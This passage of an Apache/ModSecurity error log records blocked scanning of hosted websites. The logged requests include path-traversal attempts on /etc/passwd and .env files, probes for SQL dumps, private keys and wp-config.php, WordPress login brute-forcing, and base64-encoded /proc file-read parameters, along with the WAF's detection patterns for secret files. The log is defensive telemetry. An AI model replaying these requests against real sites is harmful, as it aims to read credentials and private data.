"ai3x9imiP80klyS0NnoFGAAAAVg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.349203 2026] [security2:error] [pid 531797:tid 532061] [client 103.153.183.69:13380] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/static../index.php"] [unique_id "ai3x9sTA7b1mZrmcA-84dQAAAlM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.358494 2026] [security2:error] [pid 531797:tid 532038] [client 143.244.57.82:54490] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.eww.kxw.mybluehost.me"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "ai3x9sTA7b1mZrmcA-84dgAAAj0"] [Sat Jun 13 18:12:38.360622 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.242.16:37140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:12:38.361062 2026] [access_compat:error] [pid 531155:tid 531178] [remote 74.7.242.16:37140] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:12:38.369488 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.42:29690] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:38.369957 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.42:29690] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:38.387337 2026] [security2:error] [pid 531797:tid 532036] [client 103.153.183.69:13326] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/web.config"] [unique_id "ai3x9sTA7b1mZrmcA-84egAAAjs"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.408585 2026] [security2:error] [pid 531155:tid 531238] [remote 111.225.149.102:24338] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.smartsafetycenter.com"] [uri "/product-tag/%E0%B9%80%E0%B8%8B%E0%B8%9F%E0%B8%95%E0%B8%B5%E0%B9%89/page/2/"] [unique_id "ai3x9imiP80klyS0NnoFGwABcVI"] [Sat Jun 13 18:12:38.416424 2026] [security2:error] [pid 531155:tid 531341] [client 103.153.183.69:13364] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/./web.config"] [unique_id "ai3x9imiP80klyS0NnoFHQAAAUI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.442255 2026] [security2:error] [pid 531797:tid 532098] [client 103.153.183.69:13356] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/web.config"] [unique_id "ai3x9sTA7b1mZrmcA-84fQAAAnc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.553234 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:12:38.553574 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:12:38.565984 2026] [security2:error] [pid 531797:tid 531964] [remote 115.78.9.138:54804] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 138.9.78.115.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "traderootsltd.com"] [uri "/wp-login.php"] [unique_id "ai3x9sTA7b1mZrmcA-84ggACLGQ"], referer: https://traderootsltd.com/wp-login.php [Sat Jun 13 18:12:38.609739 2026] [security2:error] [pid 531797:tid 531927] [remote 17.241.219.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x9sTA7b1mZrmcA-84hAACHT8"] [Sat Jun 13 18:12:38.668930 2026] [security2:error] [pid 531797:tid 531999] [client 143.244.57.82:54502] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.eww.kxw.mybluehost.me"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "ai3x9sTA7b1mZrmcA-84hgAAAhc"] [Sat Jun 13 18:12:38.800164 2026] [mime:warn] [pid 531155:tid 531169] AH01602: Cannot get media parameter. [Sat Jun 13 18:12:38.922470 2026] [access_compat:error] [pid 531797:tid 531912] [remote 57.141.14.2:44919] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:38.923024 2026] [access_compat:error] [pid 531797:tid 531912] [remote 57.141.14.2:44919] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:38.931184 2026] [security2:error] [pid 531797:tid 532049] [client 103.153.183.69:13352] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/uploads.env"] [unique_id "ai3x9sTA7b1mZrmcA-84kQAAAkc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.948945 2026] [security2:error] [pid 531797:tid 532119] [client 103.153.183.69:13346] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/data.sql"] [unique_id "ai3x9sTA7b1mZrmcA-84kwAAAos"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:38.970580 2026] [security2:error] [pid 531797:tid 532030] [client 143.244.57.82:54508] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.eww.kxw.mybluehost.me"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "ai3x9sTA7b1mZrmcA-84lQAAAjU"] [Sat Jun 13 18:12:38.993393 2026] [security2:error] [pid 531797:tid 532124] [client 103.153.183.69:13194] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/data.sql"] [unique_id "ai3x9sTA7b1mZrmcA-84lwAAAo8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.003087 2026] [security2:error] [pid 531797:tid 532032] [client 172.56.168.133:8124] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3x98TA7b1mZrmcA-84mAAAAjc"] [Sat Jun 13 18:12:39.003243 2026] [security2:error] [pid 531797:tid 532032] [client 172.56.168.133:8124] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3x98TA7b1mZrmcA-84mAAAAjc"] [Sat Jun 13 18:12:39.019134 2026] [security2:error] [pid 531797:tid 532073] [client 103.153.183.69:13194] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/data.sql"] [unique_id "ai3x98TA7b1mZrmcA-84mgAAAl8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.074816 2026] [security2:error] [pid 531797:tid 532009] [client 103.153.183.69:48806] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/site.sql"] [unique_id "ai3x98TA7b1mZrmcA-84nwAAAiE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.089012 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:39.089471 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL3N1YnN5c3RlbS9ldmVudDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:12:39.101069 2026] [security2:error] [pid 531155:tid 531383] [client 103.153.183.69:13270] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/./site.sql"] [unique_id "ai3x9ymiP80klyS0NnoFNQAAAWw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.132126 2026] [security2:error] [pid 531155:tid 531320] [client 103.153.183.69:48794] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/site.sql"] [unique_id "ai3x9ymiP80klyS0NnoFNgAAAS0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.135074 2026] [security2:error] [pid 531797:tid 532107] [client 103.153.183.69:48742] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/ssl.key"] [unique_id "ai3x98TA7b1mZrmcA-84ogAAAoA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.159162 2026] [security2:error] [pid 531155:tid 531377] [client 103.153.183.69:48794] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/%2Fsite.sql"] [unique_id "ai3x9ymiP80klyS0NnoFOAAAAWY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.161157 2026] [security2:error] [pid 531797:tid 532110] [client 103.153.183.69:48778] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/./ssl.key"] [unique_id "ai3x98TA7b1mZrmcA-84pAAAAoM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.187980 2026] [security2:error] [pid 531797:tid 532076] [client 103.153.183.69:48764] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/site.sql"] [unique_id "ai3x98TA7b1mZrmcA-84pQAAAmI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.224876 2026] [security2:error] [pid 531797:tid 531936] [remote 82.165.2.98:33232] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.2.165.82.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magisters-terrace.com"] [uri "/wp-login.php"] [unique_id "ai3x98TA7b1mZrmcA-84qAACSUg"] [Sat Jun 13 18:12:39.236942 2026] [security2:error] [pid 531155:tid 531305] [client 103.153.183.69:48754] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/site.sql"] [unique_id "ai3x9ymiP80klyS0NnoFOgAAAR4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.262596 2026] [security2:error] [pid 531155:tid 531301] [client 103.153.183.69:48754] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/site.sql%23"] [unique_id "ai3x9ymiP80klyS0NnoFPQAAARo"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.276934 2026] [security2:error] [pid 531797:tid 532070] [client 143.244.57.82:54516] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.eww.kxw.mybluehost.me"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "ai3x98TA7b1mZrmcA-84rgAAAlw"] [Sat Jun 13 18:12:39.313518 2026] [security2:error] [pid 531155:tid 531207] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/static../var/www/html/.env"] [unique_id "ai3x9ymiP80klyS0NnoFPwABbTM"] [Sat Jun 13 18:12:39.325357 2026] [access_compat:error] [pid 531155:tid 531235] [remote 57.141.14.91:33110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:39.325826 2026] [access_compat:error] [pid 531155:tid 531235] [remote 57.141.14.91:33110] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:39.353391 2026] [security2:error] [pid 531155:tid 531293] [client 103.153.183.69:48876] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/site.sql"] [unique_id "ai3x9ymiP80klyS0NnoFQgAAARI"], referer: https://SMARTAGRICO.COM/ [Sat Jun 13 18:12:39.381901 2026] [security2:error] [pid 531797:tid 532111] [client 103.153.183.69:48860] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/wordpress.sql"] [unique_id "ai3x98TA7b1mZrmcA-84tAAAAoQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.409882 2026] [security2:error] [pid 531797:tid 532004] [client 103.153.183.69:48860] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/wordpress.sql"] [unique_id "ai3x98TA7b1mZrmcA-84tQAAAhw"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.437686 2026] [security2:error] [pid 531797:tid 532038] [client 103.153.183.69:48860] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/wordpress.sql"] [unique_id "ai3x98TA7b1mZrmcA-84uQAAAj0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.455543 2026] [security2:error] [pid 531155:tid 531304] [client 103.153.183.69:48816] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/files../etc/passwd"] [unique_id "ai3x9ymiP80klyS0NnoFSgAAAR0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.483414 2026] [security2:error] [pid 531155:tid 531410] [client 103.153.183.69:48816] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/files../etc/nginx/nginx.conf"] [unique_id "ai3x9ymiP80klyS0NnoFTAAAAYc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.514242 2026] [security2:error] [pid 531155:tid 531401] [client 103.153.183.69:48816] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/files../.env"] [unique_id "ai3x9ymiP80klyS0NnoFTQAAAX4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.523153 2026] [security2:error] [pid 531797:tid 532042] [client 103.153.183.69:48764] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/js.env"] [unique_id "ai3x98TA7b1mZrmcA-84vQAAAkE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.540504 2026] [security2:error] [pid 531155:tid 531360] [client 103.153.183.69:48816] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/files../wp-config.php"] [unique_id "ai3x9ymiP80klyS0NnoFTgAAAVU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.566945 2026] [security2:error] [pid 531797:tid 532043] [client 103.153.183.69:13376] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/files../config.php"] [unique_id "ai3x98TA7b1mZrmcA-84wAAAAkI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.591407 2026] [security2:error] [pid 531797:tid 532083] [client 143.244.57.82:54520] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.eww.kxw.mybluehost.me"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "ai3x98TA7b1mZrmcA-84wgAAAmk"] [Sat Jun 13 18:12:39.595098 2026] [security2:error] [pid 531797:tid 532045] [client 103.153.183.69:48848] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/files../index.php"] [unique_id "ai3x98TA7b1mZrmcA-84xQAAAkQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.623524 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 